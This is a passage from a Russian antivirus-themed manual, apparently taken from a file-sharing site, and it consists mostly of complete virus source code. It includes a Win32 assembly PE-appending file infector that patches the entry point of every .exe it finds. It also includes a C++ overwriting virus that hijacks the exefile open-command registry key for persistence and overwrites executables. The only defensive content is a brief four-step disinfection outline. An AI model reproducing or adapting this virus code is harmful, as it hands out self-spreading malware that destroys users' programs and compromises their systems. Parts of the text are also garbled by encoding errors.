Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:

Технологии борьбы с компьютерными вирусами. Практическое пособие

.pdf
Скачиваний:
0
Добавлен:
15.08.2026
Размер:
1 Мб
Скачать

Windows вирусы

201

 

 

xor bx,bx

next_block:

cmp word ptr [ebx],'ZM' je found_MZ

sub ebx,1000h jmp next_block

found_MZ:

mov edx,ebx

mov edi,dword ptr [ebx+3Ch] add edi,edx

cmp word ptr [edi],'EP' jne Exit

mov 4 ptr [KernelAddr],edx

add ebx,[edi+78h]

mov ecx,[ebx+18h] mov esi,[ebx+20h]

mov edi,[ebx+24h]

add esi,edx add edi,edx

cld

Search:

lodsd

add eax, edx push ecx push edi

xchg esi, eax

lea edi, [GetProcAddress]

mov ecx, GetProcSize repe cmpsb

xchg esi, eax pop edi

pop ecx je Found inc edi inc edi

loop Search jmp Exit

Found:

xor eax,eax

mov ax, word ptr [edi] shl eax, 2

mov esi, [ebx+1Ch]

;Kernel'a

;и найдем его начало

;Начало?

;ÄÀ!

;Ищем дальше

;Сохраним указатель

;Адрес PE заголовка

;+адрес kernel'a

;Проверка на PE

;Не равно - выходим

;сохраним базовый адрес

;kernel'a

;Получим адрес

;таблицы экспортов

;Количество указателей

;Указатель на таблицу

;указателей имен

;Указатель на таблицу

;ординалов

;Адрес таблицы имен в памяти

;Адрес таблицы ординалов в

;памяти

;Поиск вперед

;Ищем функцию GetProcAddress

;Берем указатель из таблицы

;указателей

;Получаем адрес памяти

;Сохраним количество указателей

;Сохраним указатель

;на ординалы

;В esi указатель на имя

;найденной функции

;Указываем на имя

;нужной нам функции

;Размер строки

;Сравниваем

;Восстановим значение esi

;Восстановим указатель на

;Ординалы

;Восстановим количество указателей

;Нашли!

;Нет - пробуем следующую функцию

;Указатель на следующий

;ординал

;Возьмем ординал

;Умножим на размер ординала

;Указатель на таблицу адресов

202

 

 

Windows вирусы

 

 

 

 

add esi, edx

 

 

; Получим адрес начала

 

 

 

; таблицы адресов

add esi, eax

 

 

; и адрес нужной функции

lodsd

 

 

; Прочитаем

add eax, edx

 

 

; Добавим адрес kernel'a

mov 4 ptr [GetProcAddr],eax

; Сохраним

Exit:

 

 

 

jmp fin

 

 

; Переход на завершение

 

 

 

; программы

KernelAddr

dd

0

 

GetProcAddr

dd

0

 

GetProcAddress

db

'GetProcAddress',0

GetProcSize

equ

$-GetProcAddress

.code

 

 

; Кодовая секция

start:

 

 

 

jmp virus

 

 

; Переходим на наш код

fin:

 

 

 

push 0

 

 

; А сюда управление

 

 

 

; попадет, когда

call ExitProcess

 

; программа завершается

end start

 

 

 

;----------------------------------------------

 

Теперь, когда у нас есть и адрес kernel'a, и адрес WIN API функции GetProcAddress, мы можем переходить к написанию полноценного WIN32 вируса, эффективно работающего под любой операцинной системой семейства Windows.

Рассмотрим листинг:

;----------------------------------------------

.386

.model flat

; Функция, необходимая для запуска вируса после компоновки

extrn

ExitProcess:PROC

 

 

.data

 

; Вирус расположен в области данных

start:

 

 

 

;----------------------------------------------

 

 

 

mov

ebx,[esp]

; Возьмем из стека адрес

xor

bx,bx

; Kernel'a и найдем его начало

call

delta

;

 

delta:

 

; Получаем дельта-смещение

pop

ebp

;

 

sub

ebp,offset delta

;

 

mov

eax,dword ptr [ebp + offset oldip]

;

Восстанавливаем старую точку

add

eax,dword ptr [ebp + offset imagebase];

и виртуальный адрес начала

 

 

; программы

push

eax

; Положим eax в стек

pushad

; Сохраняем все регистры

Windows вирусы

 

203

 

 

 

 

call

getproc

 

 

lea

eax,dword ptr[ebp+find_file]

 

;

push

eax

 

; Заполняем параметры

lea

eax,dword ptr[ebp+mask1]

 

; и вызываем функцию

push

eax

 

; FindFirstFileA

lea

eax,dword ptr[ebp+FindFirstFileA]

;

call

GETAPI

 

;

cmp

EAX, -1

 

; Если файлов нет,

je

End_it

 

; тогда выходим

mov

[ebp+Fhandle],eax

 

; Сохраняем хэндл поиска

inf1:

 

 

 

mov

ecx,dword ptr [ebp + find_file + 20h] ; ecx = filesize

mov

[ebp + offset filesize], ecx

 

; Сохраняем размер файла

add

ecx, finish - start + 1000h

 

; filesize + virus

mov

[ebp + offset memory], ecx

 

; +workspace=memory

call

infect

 

 

f_next:

 

 

 

call

Fnext

 

 

cmp

eax,0

 

; 0 Файлы закончились

jne

inf1

 

 

push

dword ptr [ebp+Fhandle]

 

;

lea

eax,dword ptr[ebp+FindClose]

 

; Закрытие поиска

call

GETAPI

 

;

;----------------------------------------------

 

 

End_it:

 

 

 

popad

 

 

; Восстанавливаем все регистры

ret

 

 

; Отдаем управление носителю

;----------------------------------------------

 

 

infect:

 

 

 

lea

esi,[ebp + find_file + 2ch]

 

; esi = имени файла

OpenFile:

 

 

 

push

0

 

 

push

00000080h

 

 

push

3

 

 

push

0

 

 

push

00000001h OR 00000002h

 

 

push

40000000h OR 80000000h

 

 

push

esi

 

 

lea

eax,[ebp+CreateFileA]

 

; Открытие файла

call

GETAPI

 

; для чтения/записи

mov

[ebp + offset fHnd],eax

 

; Сохранение хэндла файла

cmp

eax,-1

 

 

je

InfectionError

 

 

;----------------------------------------------

 

 

CreateFileMapping:

 

 

 

 

; Выделяем память

push

0

; Имя файла хэндл = 0

push

dword ptr [ebp+ offset memory]

; Максимальный размер = memory

204

 

 

Windows вирусы

 

 

 

push

0

; минимальный размер = 0

push

4

; Доступ чтение/запись

push

0

;

 

push

dword ptr [ebp + offset fHnd]

 

 

lea

eax,[ebp + offset CreateFileMappingA]

call

GETAPI

 

; eax = хэндл

mov

[ebp + offset mHnd],eax

 

 

or

eax,eax

 

 

jz

CloseFile

 

 

MapViewOfFile1:

 

 

 

push

dword ptr [ebp + offset memory]

; количество памяти для работы

push

0

;

 

push

0

;

 

push

2

; Режим записи

push

eax

; Хэндл

lea

eax,[ebp + offset MapViewOfFile]

; Вызываем функцию

call

GETAPI

 

 

or

eax,eax

 

 

jz

CloseMap

 

 

mov

esi,eax

 

;

mov

[ebp + offset mapaddress],esi

 

; Сохраняем базу памяти

DoSomeChecks:

 

 

 

cmp

word ptr [esi],'ZM'

 

; Ýòî EXE ôàéë?

jne

UnmapView

 

 

cmp

word ptr [esi + 38h],'nf'

 

; Уже зараженный файл?

je

UnmapView

 

 

OkGo:

 

 

 

mov

ebx,dword ptr [esi + 3ch]

 

 

cmp

ebx,200h

 

 

ja

UnmapView

 

 

add

ebx,esi

 

 

cmp

word ptr [ebx],'EP'

 

; Ýòî PE ôàéë?

jne

UnmapView

 

 

mov

[ebp + offset PEheader],ebx

 

; сохраняем PE заголовок

mov

esi,ebx

 

 

mov

eax,[esi + 28h]

 

 

mov

[ebp + offset oldip],eax

 

; Сохраняем старую

 

 

 

; точку входа (ip)

mov

eax,[esi + 34h]

 

 

mov

[ebp + offset imagebase],eax

 

; Сохраняем

 

 

 

; виртуальный адрес

 

 

 

; начала программы

;----------------------------------------------

 

 

LocateBeginOfLastSection:

 

 

mov

ebx,[esi + 74h]

 

;

shl

ebx,3

 

;

xor

eax,eax

 

 

mov

ax,word ptr [esi + 6h]

 

; Количество объектов

Windows вирусы

205

 

 

 

dec

eax

; (нам нужен последний - 1

mov

ecx,28h

; заголовок секции)

mul

ecx

; * размер заголовка

add

esi,78h

; Теперь esi указывает на

add

esi,ebx

; начало последнего заголовка

add

esi,eax

; секции

ChangeLastSectionHeader:

 

or

dword ptr [esi + 24h],00000020h or 20000000h or 80000000h

NewPhysicalSize:

 

 

mov

eax,dword ptr [esi+10h]

; Старый физический размер

add

eax,finish-start

 

mov

dword ptr [esi+10h],eax

; Сохраняем его

VirtualSizeCheck:

 

 

mov

edi,dword ptr [esi + 8h]

; Получаем старый

cmp

eax, edi

; виртуальный размер

jge

NewVirtualSize

 

VirtualSizeIsVirtual:

add

edi,finish-start

mov

eax,edi

NewVirtualSize:

 

mov

ecx,[ebp + offset PEheader]

mov

ecx,[ecx + 38h]

div

ecx

inc

eax

mul

ecx

mov

[esi + 8h],eax

NewAlignedImageSize:

mov

eax,dword ptr [esi + 0ch]

add

eax,dword ptr [esi + 8h]

mov

[ebp+ imagesize],eax

NewAlignedFileSize:

mov

eax,dword ptr [esi+10h]

add

eax,dword ptr [esi + 14h]

mov

[ebp + offset filesize],eax

CalculateNewIp:

 

mov

eax,dword ptr [esi+10h]

add

eax,dword ptr [esi + 0ch]

sub

eax,finish-start

mov

[ebp + newip],eax

CopyVirusToEndOfFile:

mov

edi,dword ptr [esi+10h]

sub

edi,finish-start

;и выравниваем

;Сохраняем новое значение

;Получаем виртуальное

;смещение

;+ новый виртуальный размер

;= новый виртуальный размер

;Получаем новый физический

;размер

;Добавляем смещение

;физического

;размера = размер файла

;Новый физический размер

;+ виртуальное смещение

;- размер вируса

;Новая точка входа

;Новый физический размер

206

 

 

Windows вирусы

 

 

 

add

edi,[ebp + offset mapaddress]

; mapaddress

add

edi,[esi + 14h]

; Добавляем смещение

 

 

; потоковых данных

lea

esi,[ebp + start]

; Копируем вирус

mov

ecx,(finish-start)/4 + 4

 

 

cld

 

 

 

rep

movsd

 

 

UpdatePEHeaderWithChanges:

 

 

mov

esi,dword ptr [ebp + offset mapaddress]

 

mov

word ptr [esi + 38h],'nf'

;

Устанавливаем метку

mov

esi,dword ptr [ebp + offset PEheader] ; инфицированности

mov

eax,dword ptr [ebp + offset newip]

 

 

mov

[esi + 28h],eax

; Устанавливаем новую точку

mov

eax,[ebp + offset imagesize]

; входа

mov

[esi + 50h],eax

; Устанавливаем новый

 

 

; виртуальный размер

UnmapView:

 

 

 

push

dword ptr [ebp + offset mapaddress]

;

 

lea

eax,[ebp + UnmapViewOfFile]

;

Заканчиваем изменение файла

call

GETAPI

;

в памяти и кладем его обратно

CloseMap:

 

 

 

push

dword ptr [ebp + offset mHnd]

;

 

lea

eax,[ebp + CloseHandle]

;

Закрываем хэндл

call

GETAPI

;

 

push

0

 

 

push

0

 

 

push

dword ptr [ebp + offset filesize]

;

 

push

dword ptr [ebp + offset fHnd]

; Переходим в конец файла

lea

eax,[ebp + offset SetFilePointer]

;

 

call

GETAPI

 

 

push

dword ptr [ebp + offset fHnd]

;

 

lea

eax,[ebp + offset SetEndOfFile]

; Устанавливаем символ конца

call

GETAPI

;

файла

;----------------------------------------------

 

 

 

CloseFile:

 

 

 

push

dword ptr [ebp + offset fHnd]

;

 

lea

eax,[ebp + offset CloseHandle]

;

Закрываем файл

call

GETAPI

;

 

InfectionError:

 

 

 

ret

 

; Выходим из процедуры

;----------------------------------------------

 

 

 

Fnext:

 

 

 

lea

eax,[ebp+offset find_file]

;

 

push

eax

;

 

push

dword ptr[ebp+Fhandle]

;

Процедура поиска следующего

lea

eax,[ebp+offset+FindNextFileA]

;

файла

call

GETAPI

;

 

Windows вирусы

207

 

 

 

ret

 

 

;----------------------------------------------

 

Getproc:

 

 

next_block:

 

 

cmp

word ptr [ebx],'ZM'

; Начало?

je

found_MZ

; ÄÀ!

sub

ebx,1000h

; Ищем дальше

jmp

next_block

 

found_MZ:

 

 

mov

edx,ebx

; Сохраним указатель

mov

edi,dword ptr [ebx+3Ch]

; Адрес PE заголовка

add

edi,edx

; + адрес kernel'a

cmp

word ptr [edi],'EP'

; Проверка на PE

jne

Exit

; Не равно - выходим

mov

4 ptr [ebp+KernelAddr],edx

; Сохраним базовый адрес

 

 

; kernel'a

add

ebx,[edi+78h]

; Получим адрес таблицы

 

 

; экспортов

mov

ecx,[ebx+18h]

; Количество указателей

mov

esi,[ebx+20h]

; Указатель на таблицу

 

 

; указателей имен

mov

edi,[ebx+24h]

; Указатель на таблицу

 

 

; ординалов

add

esi,edx

; Адрес таблицы имен в памяти

add

edi,edx

; Адрес таблицы ординалов в

 

 

; памяти

cld

 

; Поиск вперед

Search:

 

; Ищем функцию GetProcAddress

lodsd

 

; Берем указатель из

 

 

; таблицы указателей

add

eax,edx

; Получаем адрес памяти

push

ecx

; Сохраним количество указателей

push

edi

; Сохраним указатель

 

 

; на ординалы

xchg

esi,eax

; В esi указатель на имя

 

 

; найденной функции

lea

edi,[ebp+GetProcAddress]

; Указываем на имя нужной

 

 

; нам фунции

mov

ecx,GetProcSize

; Размер строки

repe

cmpsb

; Сравниваем

xchg

esi,eax

; Восстановим значение esi

pop

edi

; Восстановим указатель

 

 

; на ординалы

pop

ecx

; Восстановим количество

je

Found

; указателей нашли!

inc

edi

; Нет - пробуем следующую функцию

inc

edi

; Указатель на следующий

 

 

; ординал

loop

Search

 

jmp

Exit

 

Found:

 

 

xor

eax,eax

 

208

 

 

Windows вирусы

 

 

 

mov

ax,word ptr [edi]

; Возьмем ординал

shl

eax,2

 

; Умножим на размер ординала

mov

esi,[ebx+1Ch]

; Указатель на таблицу адресов

add

esi,edx

; Получим адрес начала

 

 

 

; таблицы адресов

add

esi,eax

; и адрес нужной функции

lodsd

 

 

; Прочитаем

add

eax,edx

; Добавим адрес kernel'a

mov

4 ptr [ebp+GetProcAddr],eax

; Сохраним

Exit:

 

 

 

ret

 

 

 

;----------------------------------------------

 

GETAPI:

 

 

 

push

eax

 

; Положим в стек имя функции

push

dword ptr [ebp+ offset KernelAddr]

; Положим в стек адрес kernel'a

call

[ebp + offset GetProcAddr]

; Получаем адрес необходимой

 

 

 

; нам Функции

jmp

eax

 

; Вызываем функцию

ret

 

 

; Возврат из функции

;----------------------------------------------

 

mask1

db

'*.exe',0

; Маска для поиска

KernelAddr

dd

0

 

GetProcAddr

dd

0

 

GetProcAddress

db

'GetProcAddress',0

 

GetProcSize

equ

$-GetProcAddress

 

FindFirstFileA

db "FindFirstFileA",0

 

CreateFileA

db "CreateFileA",0

 

CreateFileMappingA db "CreateFileMappingA",0

 

MapViewOfFile

db "MapViewOfFile",0

 

UnmapViewOfFile

db "UnmapViewOfFile",0

 

CloseHandle

db "CloseHandle",0

 

SetFilePointer

db "SetFilePointer",0

 

SetEndOfFile

db "SetEndOfFile",0

 

FindNextFileA

db "FindNextFileA",0

 

FindClose

db "FindClose",0

 

oldip

dd

offset Exit1

; Для первого поколения вируса

 

 

 

; Необходимо это смещение

imagebase

dd

0h

;

finish:

 

 

 

find_file

db

313 dup(?)

; Здесь идут данные, которые в

size2read

dd

0h

; тело вируса не входят

fHnd

dd

0h

;

mHnd

dd

0h

;

memory

dd

0h

;

mapaddress

dd

0h

;

PEheader

dd

0h

 

filesize

dd

0h

 

imagesize

dd

0h

 

Windows вирусы

 

209

 

 

 

 

newip

dd

0h

 

Fhandle

dd

0h

 

;----------------------------------------------

 

 

 

.code

 

 

 

Exit1:

 

 

 

 

push 0

 

; Сюда передается управление

 

call ExitProcess

; в первом поколении вируса

;----------------------------------------------

 

 

 

end

start

 

 

;----------------------------------------------

 

 

 

Ну вот, мы написали вирус, который будет работать под операционными системами Win9x,W2K, Win ME,Win XP.

Но данный способ — не единственный способ паразитизма PE EXE файлов, существуют также заголовочные паразиты (которые размещаются в свободном месте PE заголовка), инфекторы первой секции и множество других способов инфицирования PE EXE файлов.

Рассмотрим алгоритм лечения данного вида паразитов:

1)обнаружить инфицированную программу;

2)обнаружить оригинальное начало программы;

3)изменить точку входа;

4)удалить хвост вируса.

Ôó í ê ö è è ì à ñ ê è ð î â ê è è ó ñ ê î ð å í è ÿ

ýï è ä å ì è è

Глава 4 Резидентность

По сути, резидентность в WIN32 системах такая, как в программах под DOS (TSR), отсутствует, потому что система многозадачная. Существует несколько способов реализации резидентности в Windows-системах. Первый и наиболее простой и эффективный — это скопировать вирус в системную директорию и сделать его выполняемым при загрузке или подменить ключ в реестре, так, чтобы при запуске сначала запускался вирус, а затем необходимая программа. Второй способ — это инфицировать какой-нибудь из наиболее часто используемых системных файлов. Мы рассмотрим первый вариант как наиболее удобный и эффективный.

Работать мы будем на примере простого вируса overwriter, чтобы не отвлекаться от главной темы нашего повествования. Все программы, запускаемые в Windows, запускаются через ключ реестра: HKEY_CLASSES_ROOT\exefile\ shell\open\command. По умолчанию значение данного параметра — «%1» %*, что означает запуск самой программы. Вначале мы должны сохранить вирус в директории Windows, а потом изменить параметр в реестре так, чтобы запускался вирус с параметром настоящей программы, которую он будет инфицировать.

210

Windows вирусы

 

 

Рассмотрим алгоритм функционирования данного вируса:

1)получить адрес директории Windows;

2)скопировать в эту директорию вирус с именем supa.exe;

3)открыть ключ реестра HKEY_CLASSES_ROOT\exefile\shell\open\ command;

4)изменить значение на Имя_Windows_директории\supa.exe %1;

5)закрыть ключ реестра;

6)если вирус был запущен с параметром, то инфицируем имя файла переданное параметром;

7)если вирус запущен без параметров, то заражаем все файлы в текущей директоии;

8)завершение работы вируса;

Рассмотрим реализацию вируса, как обычно, на C++. Переходим к лиcтингу:

//---------------------------------------------

#include "windows.h"

int main(int argc, char *argv[])

 

{

 

char windir[200];

// Место для имени Windows-директории

char dropper[10]="\\supa.exe";

// Имя файла, который будет храниться в папке Windows

char param1[4]=" %1";

// Параметр для реестра

char subkey[40]="exefile\\shell\\open\\command"; // Ключ параметра

HANDLE find_handle;

// Хэндл поиска

WIN32_FIND_DATA ff;

// Место для результатов поиска

char msg1[50]="[ VIRUS WIN32 OVERWRITER -=w32.SS-20=- ]"; // Имя вируса

GetWindowsDirectoryA(windir,100); // Получаем имя Windows-директории

lstrcatA(windir,dropper);

// Добавляем к имени

Windows-директории имя файла

CopyFileA(argv[0],windir,0);

// Копируем вирус в Windows-директорию

lstrcatA(windir,param1);

// Добавляем к имени

файла %1

RegOpenKeyA(HKEY_CLASSES_ROOT,subkey,0); // Открываем ключ реестра RegSetValueA(HKEY_CLASSES_ROOT,subkey,REG_SZ,windir,sizeof(windir)); // Устанавливаем

RegCloseKey(HKEY_CLASSES_ROOT);

// нужное значение параметра и закрываем ключ

if (argc>1)

// Если вирус запущен с параметром,

{

CopyFileA(argv[0],argv[1],0); // инфицируем параметр

exit(0);

// и выходим

 

}

 

 

find_handle=FindFirstFileA("*.exe",&ff); // Если без параметра,

while (1)

 

 

{

 

 

CopyFileA(argv[0],ff.cFileName,0);

// то инфицируем все файлы в текущей

if (!FindNextFileA(find_handle,&ff)) break; // директории

}

 

 

FindClose(find_handle);

// Закрываем поиск

return (0);

// Завершаем программу

}

//---------------------------------------------

Соседние файлы в предмете [НЕСОРТИРОВАННОЕ]